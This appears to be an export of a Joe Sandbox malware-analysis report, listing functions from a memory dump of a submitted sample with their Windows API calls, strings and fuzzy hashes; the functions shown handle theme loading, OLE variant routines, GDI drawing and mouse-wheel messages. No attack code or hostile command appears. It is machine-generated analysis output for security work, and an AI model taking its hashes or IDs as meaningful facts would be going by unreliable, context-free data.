Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Uniqueness

Uniqueness Score: -1.00%

Function 032DB75C Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 266libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme.dll,00000000,032DBB0F), ref: 032DB792
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 032DB7AA
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 032DB7BC
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 032DB7CE
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 032DB7E0
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 032DB7F2
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 032DB804
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 032DB816
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 032DB828
GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 032DB83A
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 032DB84C
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 032DB85E
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 032DB870
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 032DB882
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 032DB894
GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 032DB8A6
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 032DB8B8
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 032DB8CA
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 032DB8DC
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 032DB8EE
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 032DB900
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 032DB912
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 032DB924
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 032DB936
GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 032DB948
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 032DB95A
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 032DB96C
GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 032DB97E
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 032DB990
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 032DB9A2
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 032DB9B4
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 032DB9C6
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 032DB9D8
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 032DB9EA
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 032DB9FC
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 032DBA0E
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 032DBA20
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 032DBA32
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 032DBA44
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 032DBA56
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 032DBA68
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 032DBA7A
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 032DBA8C
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 032DBA9E
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 032DBAB0
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 032DBAC2
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 032DBAD4
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 032DBAE6

Strings

GetThemeTextExtent, xrefs: 032DB820
GetThemeRect, xrefs: 032DB940
DrawThemeParentBackground, xrefs: 032DBACC
GetCurrentThemeName, xrefs: 032DBAA8
GetThemeFilename, xrefs: 032DB99A
GetThemeSysBool, xrefs: 032DB9D0
DrawThemeEdge, xrefs: 032DB868
SetWindowTheme, xrefs: 032DB988
CloseThemeData, xrefs: 032DB7B4
GetThemePropertyOrigin, xrefs: 032DB976
GetThemeBackgroundRegion, xrefs: 032DB844
GetThemeSysFont, xrefs: 032DB9F4
GetThemePosition, xrefs: 032DB91C
GetThemeTextMetrics, xrefs: 032DB832
IsThemePartDefined, xrefs: 032DB88C
GetThemeSysSize, xrefs: 032DB9E2
HitTestThemeBackground, xrefs: 032DB856
GetThemeFont, xrefs: 032DB92E
GetThemeEnumValue, xrefs: 032DB90A
GetThemeColor, xrefs: 032DB8B0
IsThemeBackgroundPartiallyTransparent, xrefs: 032DB89E
GetThemeSysInt, xrefs: 032DBA18
GetThemeMetric, xrefs: 032DB8C2
GetThemeString, xrefs: 032DB8D4
uxtheme.dll, xrefs: 032DB78D
GetThemeSysColorBrush, xrefs: 032DB9BE
GetThemeMargins, xrefs: 032DB952
IsThemeDialogTextureEnabled, xrefs: 032DBA72
GetThemePartSize, xrefs: 032DB80E
DrawThemeText, xrefs: 032DB7D8
EnableTheming, xrefs: 032DBADE
EnableThemeDialogTexture, xrefs: 032DBA60
GetThemeIntList, xrefs: 032DB964
SetThemeAppProperties, xrefs: 032DBA96
DrawThemeIcon, xrefs: 032DB87A
OpenThemeData, xrefs: 032DB7A2
GetThemeSysString, xrefs: 032DBA06
IsAppThemed, xrefs: 032DBA3C
IsThemeActive, xrefs: 032DBA2A
GetThemeBackgroundContentRect, xrefs: 032DB7EA, 032DB7FC
GetThemeSysColor, xrefs: 032DB9AC
GetThemeBool, xrefs: 032DB8E6
DrawThemeBackground, xrefs: 032DB7C6
GetThemeDocumentationProperty, xrefs: 032DBABA
GetThemeAppProperties, xrefs: 032DBA84
GetWindowTheme, xrefs: 032DBA4E
GetThemeInt, xrefs: 032DB8F8

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 2238633743-2910565190
Opcode ID: b082643431e5ef6c80476ed0c7471cc46c533b115d14c966de3957dc0826fd11
Instruction ID: 969761f889262025fb000d3966017a98a3f05a58002e2d5eac917875e11ef48f
Opcode Fuzzy Hash: b082643431e5ef6c80476ed0c7471cc46c533b115d14c966de3957dc0826fd11
Instruction Fuzzy Hash: CFA156B5A64750AFEF08FFB4D8E2DA937BCEB09740F014565B425DF60ADAB49880CB10

Uniqueness

Uniqueness Score: -1.00%

Function 032BE600 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 032BE609

Part of subcall function 032BE5D4: GetProcAddress.KERNEL32(00000000), ref: 032BE5ED

Strings

oleaut32.dll, xrefs: 032BE604
VarOr, xrefs: 032BE6F3
VarDiv, xrefs: 032BE69B
VarR4FromStr, xrefs: 032BE74B
VarNeg, xrefs: 032BE62D
VarMod, xrefs: 032BE6C7
VarXor, xrefs: 032BE709
VarDateFromStr, xrefs: 032BE777
VarBoolFromStr, xrefs: 032BE7A3
VarMul, xrefs: 032BE685
VarBstrFromDate, xrefs: 032BE7CF
VarCmp, xrefs: 032BE71F
VarBstrFromCy, xrefs: 032BE7B9
VarIdiv, xrefs: 032BE6B1
VarCyFromStr, xrefs: 032BE78D
VarI4FromStr, xrefs: 032BE735
VarNot, xrefs: 032BE643
VarAnd, xrefs: 032BE6DD
VarR8FromStr, xrefs: 032BE761
VarSub, xrefs: 032BE66F
VarAdd, xrefs: 032BE659
VarBstrFromBool, xrefs: 032BE7E5
VariantChangeTypeEx, xrefs: 032BE617

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 34d1ddb9487ca6aefcf59378ab461b3c1768de4805f5e19b2ef554f23b44db18
Instruction ID: dec64d98315fb4374a42c847950b029f99c35898e5cd793a5490d54408e8cbfe
Opcode Fuzzy Hash: 34d1ddb9487ca6aefcf59378ab461b3c1768de4805f5e19b2ef554f23b44db18
Instruction Fuzzy Hash: 84410C6463C30C5BE208FA6974408EA77FCD644790B67C02AF405CAB58EF70BDC1876A

Uniqueness

Uniqueness Score: -1.00%

Function 032D36C8 Relevance: 37.7, APIs: 25, Instructions: 245windowCOMMON

Download Yara Rule

APIs

CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 032D370B
SelectObject.GDI32(?,?), ref: 032D3720
MaskBlt.GDI32(?,?,?,?,?,?,?,?,?,?,?,CCAA0029,00000000,032D3790,?,?), ref: 032D3764
SelectObject.GDI32(?,?), ref: 032D377E
DeleteObject.GDI32(?), ref: 032D378A
CreateCompatibleDC.GDI32(00000000), ref: 032D379E
CreateCompatibleBitmap.GDI32(?,?,?), ref: 032D37BF
SelectObject.GDI32(?,?), ref: 032D37D4
SelectPalette.GDI32(?,8A080D4D,00000000), ref: 032D37E8
SelectPalette.GDI32(?,?,00000000), ref: 032D37FA
SelectPalette.GDI32(?,00000000,000000FF), ref: 032D380F
SelectPalette.GDI32(?,8A080D4D,000000FF), ref: 032D3825
RealizePalette.GDI32(?), ref: 032D3831
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 032D3853
StretchBlt.GDI32(?,00000000,00000000,?,?,00000000,?,?,?,?,00440328), ref: 032D3875
SetTextColor.GDI32(?,00000000), ref: 032D387D
SetBkColor.GDI32(?,00FFFFFF), ref: 032D388B
StretchBlt.GDI32(?,?,?,?,?,?,?,?,?,?,008800C6), ref: 032D38B7
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00660046), ref: 032D38DC
SetTextColor.GDI32(?,?), ref: 032D38E6
SetBkColor.GDI32(?,?), ref: 032D38F0
SelectObject.GDI32(?,00000000), ref: 032D3903
DeleteObject.GDI32(?), ref: 032D390C
SelectPalette.GDI32(?,00000000,00000000), ref: 032D392E
DeleteDC.GDI32(?), ref: 032D3937

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Select$ObjectPalette$ColorStretch$CompatibleCreateDelete$BitmapText$MaskRealize
String ID:
API String ID: 3976802218-0
Opcode ID: f4490c4455fc86460affe4763126b16bbefe1f853115cb61371efa2a7740e8e3
Instruction ID: b01c5dda7c0f770a8f614c1eef34096bf8367481f9a11a90628a532f067fd758
Opcode Fuzzy Hash: f4490c4455fc86460affe4763126b16bbefe1f853115cb61371efa2a7740e8e3
Instruction Fuzzy Hash: 28817DB6A10209AFDB50EFA8CD84EEFBBFCAB0D750F154554F618EB240C675AD408B61

Uniqueness

Uniqueness Score: -1.00%

Function 032D565C Relevance: 31.7, APIs: 21, Instructions: 194windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000054,?), ref: 032D567F
GetDC.USER32(00000000), ref: 032D56AD
CreateCompatibleDC.GDI32(?), ref: 032D56BE
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 032D56D9
SelectObject.GDI32(?,00000000), ref: 032D56F3
PatBlt.GDI32(?,00000000,00000000,?,?,00000042), ref: 032D5715
CreateCompatibleDC.GDI32(?), ref: 032D5723
SelectObject.GDI32(?), ref: 032D576B
SelectPalette.GDI32(?,?,00000000), ref: 032D577E
RealizePalette.GDI32(?), ref: 032D5787
SelectPalette.GDI32(?,?,00000000), ref: 032D5793
RealizePalette.GDI32(?), ref: 032D579C
SetBkColor.GDI32(?), ref: 032D57A6
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 032D57CA
SetBkColor.GDI32(?,00000000), ref: 032D57D4
SelectObject.GDI32(?,00000000), ref: 032D57E7
DeleteObject.GDI32 ref: 032D57F3
DeleteDC.GDI32(?), ref: 032D5809
SelectObject.GDI32(?,00000000), ref: 032D5824
DeleteDC.GDI32(00000000), ref: 032D5840
ReleaseDC.USER32(00000000,00000000), ref: 032D5851

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: ObjectSelect$Palette$CreateDelete$ColorCompatibleRealize$BitmapRelease
String ID:
API String ID: 332224125-0
Opcode ID: 4bb57c12748358043eb635178d7b3209a00d9c4a145b8ef2cbacd87478f3fe21
Instruction ID: 6fba00b147f9a424f185333acfc1f62bfb1b4fa89b6d175ee62bb564b8286731
Opcode Fuzzy Hash: 4bb57c12748358043eb635178d7b3209a00d9c4a145b8ef2cbacd87478f3fe21
Instruction Fuzzy Hash: BC51EC76E20309AFDB11EBE8DC45FEEB7FCAB09740F144465B614EB280D6B59984CB60

Uniqueness

Uniqueness Score: -1.00%

Function 032D63EC Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 351windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 032D665A
CreateCompatibleDC.GDI32(00000001), ref: 032D66BF
CreateCompatibleBitmap.GDI32(00000001,00000001,00000001), ref: 032D66D4
SelectObject.GDI32(?,00000000), ref: 032D66DE
SelectPalette.GDI32(?,?,00000000), ref: 032D670E
RealizePalette.GDI32(?), ref: 032D671A
CreateDIBitmap.GDI32(?,?,00000004,00000000,?,00000000), ref: 032D673E
GetLastError.KERNEL32(?,?,00000004,00000000,?,00000000,00000000,032D6797,?,?,00000000,00000001,00000001,00000001,00000001,00000000), ref: 032D674C
SelectPalette.GDI32(?,00000000,000000FF), ref: 032D677E
SelectObject.GDI32(?,?), ref: 032D678B
DeleteObject.GDI32(00000000), ref: 032D6791

Strings

BM, xrefs: 032D6510
(, xrefs: 032D65A5

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Select$CreateObjectPalette$BitmapCompatible$DeleteErrorLastRealize
String ID: ($BM
API String ID: 2831685396-2980357723
Opcode ID: 026dc785bb87bbaf5c46de79291b3c120a7324db834831c0bc0d90ce50d50bcb
Instruction ID: 1e05a38666f61880c21a01831b64297fbb88f965eaf903f03c05511c10577e43
Opcode Fuzzy Hash: 026dc785bb87bbaf5c46de79291b3c120a7324db834831c0bc0d90ce50d50bcb
Instruction Fuzzy Hash: 07D15A74A20219AFDF14DFA8C884BAEBBF5FF48300F548469E914EB395D7749884CB61

Uniqueness

Uniqueness Score: -1.00%

Function 032F2DA0 Relevance: 25.8, APIs: 17, Instructions: 258COMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 032F2DD4
GetClientRect.USER32(00000000,?), ref: 032F2DF7
GetWindowRect.USER32(00000000,?), ref: 032F2E09
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 032F2E1F
OffsetRect.USER32(?,?,?), ref: 032F2E34
ExcludeClipRect.GDI32(?,?,?,?,?,?,?,?,00000000,00000000,?,00000002,00000000,?,00000000,032F3053), ref: 032F2E4D
InflateRect.USER32(?,00000000,00000000), ref: 032F2E6B
GetWindowLongA.USER32(00000000,000000F0), ref: 032F2E85
DrawEdge.USER32(?,?,?,00000008), ref: 032F2F84
IntersectClipRect.GDI32(?,?,?,?,?), ref: 032F2F9D
OffsetRect.USER32(?,?,?), ref: 032F2FC7
GetRgnBox.GDI32(?,?), ref: 032F2FD6
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 032F2FEC
IntersectRect.USER32(?,?,?), ref: 032F2FFD
OffsetRect.USER32(?,?,?), ref: 032F3012
FillRect.USER32(?,?,00000000), ref: 032F302E
ReleaseDC.USER32(00000000,?), ref: 032F304D

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Rect$Window$Offset$ClipIntersectPoints$ClientDrawEdgeExcludeFillInflateLongRelease
String ID:
API String ID: 2490777911-0
Opcode ID: 1c39feaea855196041dffaa59265d086b6ab5f4af5da568e90cea62233a1d806
Instruction ID: 473e3b782686f18dab91bb7b3b2181095fda1675d6f8c5fdb69f2f646c9a96cb
Opcode Fuzzy Hash: 1c39feaea855196041dffaa59265d086b6ab5f4af5da568e90cea62233a1d806
Instruction Fuzzy Hash: 2CA10975E10209AFCB01DBA8C895EEEB7FDAF49300F1480A5EA15FB251C775AA45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 032D5B6C Relevance: 21.2, APIs: 14, Instructions: 217windowCOMMON

Download Yara Rule

APIs

Part of subcall function 032D6164: GetDC.USER32(00000000), ref: 032D61BA
Part of subcall function 032D6164: GetDeviceCaps.GDI32(00000000,0000000C), ref: 032D61CF
Part of subcall function 032D6164: GetDeviceCaps.GDI32(00000000,0000000E), ref: 032D61D9
Part of subcall function 032D6164: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,032D4D27,00000000,032D4DB3), ref: 032D61FD
Part of subcall function 032D6164: ReleaseDC.USER32(00000000,00000000), ref: 032D6208

SelectPalette.GDI32(?,?,000000FF), ref: 032D5BAF
RealizePalette.GDI32(?), ref: 032D5BBE
GetDeviceCaps.GDI32(?,0000000C), ref: 032D5BD0
GetDeviceCaps.GDI32(?,0000000E), ref: 032D5BDF
GetBrushOrgEx.GDI32(?,?,0000000E,00000000,?,0000000C), ref: 032D5C12
SetStretchBltMode.GDI32(?,00000004), ref: 032D5C20
SetBrushOrgEx.GDI32(?,?,?,?,?,00000004,?,?,0000000E,00000000,?,0000000C), ref: 032D5C38
SetStretchBltMode.GDI32(00000000,00000003), ref: 032D5C55
CreateCompatibleDC.GDI32(00000000), ref: 032D5CB6
SelectObject.GDI32(?,?), ref: 032D5CCB
SelectObject.GDI32(?,00000000), ref: 032D5D2A
DeleteDC.GDI32(00000000), ref: 032D5D39

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CapsDevice$PaletteSelect$BrushCreateModeObjectStretch$CompatibleDeleteHalftoneRealizeRelease
String ID:
API String ID: 2414602066-0
Opcode ID: 9ad9e042876c54314f6923c9df0b8b6c7418111700c64dbf03ebf51459a63ef3
Instruction ID: 1ca410d2b4318462d7bb38205bf246fef33ce7b39ab58d824c6821d082fa63df
Opcode Fuzzy Hash: 9ad9e042876c54314f6923c9df0b8b6c7418111700c64dbf03ebf51459a63ef3
Instruction Fuzzy Hash: 14711A79A14205AFDB50DFACC985F9EBBF8AF09300F248554B518EB691D7B4ED80CB60

Uniqueness

Uniqueness Score: -1.00%

Function 032D3528 Relevance: 21.1, APIs: 14, Instructions: 131windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(00000000), ref: 032D353F
CreateCompatibleDC.GDI32(00000000), ref: 032D3549
GetObjectA.GDI32(?,00000018,?), ref: 032D3569
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 032D3580
GetDC.USER32(00000000), ref: 032D358C
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 032D35B9
ReleaseDC.USER32(00000000,00000000), ref: 032D35DF
SelectObject.GDI32(?,?), ref: 032D35FA
SelectObject.GDI32(?,00000000), ref: 032D3609
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,?,?,00CC0020), ref: 032D3635
SelectObject.GDI32(?,00000000), ref: 032D3643
SelectObject.GDI32(?,00000000), ref: 032D3651
DeleteDC.GDI32(?), ref: 032D3667
DeleteDC.GDI32(?), ref: 032D3670

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$BitmapDelete$ReleaseStretch
String ID:
API String ID: 644427674-0
Opcode ID: 3ad03305532846b54da3b7dd09bc2bae35ad6742b1aaf3d917ad5c698de839f9
Instruction ID: 263418ae1f8d8cd0cb4874fcdd5144a9784b98f0018a7a683bfa6c17678ff3e7
Opcode Fuzzy Hash: 3ad03305532846b54da3b7dd09bc2bae35ad6742b1aaf3d917ad5c698de839f9
Instruction Fuzzy Hash: 0E410D7AE14309AFDB51EBE8CC45FAEB7BCEB08740F004451F614EB240D6B599808BA5

Uniqueness

Uniqueness Score: -1.00%

Function 032B743C Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61windowregistryCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(MouseZ,Magellan MSWHEEL), ref: 032B7454
RegisterWindowMessageA.USER32(MSWHEEL_ROLLMSG), ref: 032B7460
RegisterWindowMessageA.USER32(MSH_WHEELSUPPORT_MSG,MSWHEEL_ROLLMSG), ref: 032B746F
RegisterWindowMessageA.USER32(MSH_SCROLL_LINES_MSG,MSH_WHEELSUPPORT_MSG,MSWHEEL_ROLLMSG), ref: 032B747B
SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 032B7493
SendMessageA.USER32(00000000,?,00000000,00000000), ref: 032B74B7

Strings

MouseZ, xrefs: 032B744F
MSWHEEL_ROLLMSG, xrefs: 032B745B
MSH_WHEELSUPPORT_MSG, xrefs: 032B746A
Magellan MSWHEEL, xrefs: 032B744A
MSH_SCROLL_LINES_MSG, xrefs: 032B7476

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Message$Window$Register$Send$Find
String ID: MSH_SCROLL_LINES_MSG$MSH_WHEELSUPPORT_MSG$MSWHEEL_ROLLMSG$Magellan MSWHEEL$MouseZ
API String ID: 3569030445-3736581797
Opcode ID: 1d9a84d294e61febc53d96c158aa70136870293b5b0d6fd02ab35d1b4f6c23ac
Instruction ID: dcaaf4b9099902c4fb1d3637886c510d4072197c8b98e52e0621608c4525b05e
Opcode Fuzzy Hash: 1d9a84d294e61febc53d96c158aa70136870293b5b0d6fd02ab35d1b4f6c23ac
Instruction Fuzzy Hash: B6111F75264302AFE710DFADDC41BAABBB8EF94791F148465B9C48F281D6B099C0CB60

Uniqueness

Uniqueness Score: -1.00%

Function 032DDDAC Relevance: 18.1, APIs: 12, Instructions: 142COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000000,000000EC), ref: 032DDDC7
GetWindowRect.USER32(00000000,?), ref: 032DDDE2
OffsetRect.USER32(?,?,?), ref: 032DDDF7
GetWindowDC.USER32(00000000,?,?,?,00000000,?), ref: 032DDE05
GetWindowLongA.USER32(00000000,000000F0), ref: 032DDE36
GetSystemMetrics.USER32(00000002), ref: 032DDE4B
GetSystemMetrics.USER32(00000003), ref: 032DDE54
InflateRect.USER32(?,000000FE,000000FE), ref: 032DDE63
GetSysColorBrush.USER32(0000000F), ref: 032DDE90
FillRect.USER32(?,?,00000000), ref: 032DDE9E
ExcludeClipRect.GDI32(?,?,?,?,?,00000000,032DDF07,?,00000000,?,?,?,00000000,?), ref: 032DDEC3
ReleaseDC.USER32(00000000,?), ref: 032DDF01

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

